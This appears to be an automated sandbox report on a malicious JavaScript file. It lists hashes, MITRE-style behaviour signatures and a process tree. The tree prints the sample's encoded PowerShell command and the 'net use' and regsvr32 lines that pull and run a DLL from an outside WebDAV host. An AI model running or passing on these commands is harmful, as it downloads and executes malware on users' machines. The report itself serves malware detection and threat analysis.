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Analysis
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max time kernel
146s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
20/08/2024, 14:22
Static task
static1
Behavioral task
behavioral1
Sample
089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4.js
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4.js
Resource
win10v2004-20240802-en
General
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Target
089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4.js
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Size
10KB
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MD5
a96dfb5126b998be551e5731d0019049
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SHA1
a85b1edbb0642d4a4062374438b5996547570259
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SHA256
089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4
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SHA512
325ffa48bd726409512a6b14f2c95309adbe89b9fa5345a32060f4e53e5eefe000071a7c0de82f6274910108f51c6c86a7e674b5a2c33c06d443095d43853c87
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SSDEEP
192:RAq+vTEB0QODfAhXmm5ZsoHjWk7GYA8FBNjiN5jsNlQUGFTZhNGwNXKcR0vwNAw3:qP7KEfAhXmm5ZsoHjWIGYA8FBNjiN5jp
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4704 powershell.exe 4704 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4704 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2376 wrote to memory of 4704 2376 wscript.exe 84 PID 2376 wrote to memory of 4704 2376 wscript.exe 84 PID 4704 wrote to memory of 3484 4704 powershell.exe 86 PID 4704 wrote to memory of 3484 4704 powershell.exe 86 PID 4704 wrote to memory of 3568 4704 powershell.exe 87 PID 4704 wrote to memory of 3568 4704 powershell.exe 87
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA4ADMANAA3ADMAOAAxADkAMgA0ADcANQA0AC4AZABsAGwA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\3⤵PID:3484
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\8347381924754.dll3⤵PID:3568
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82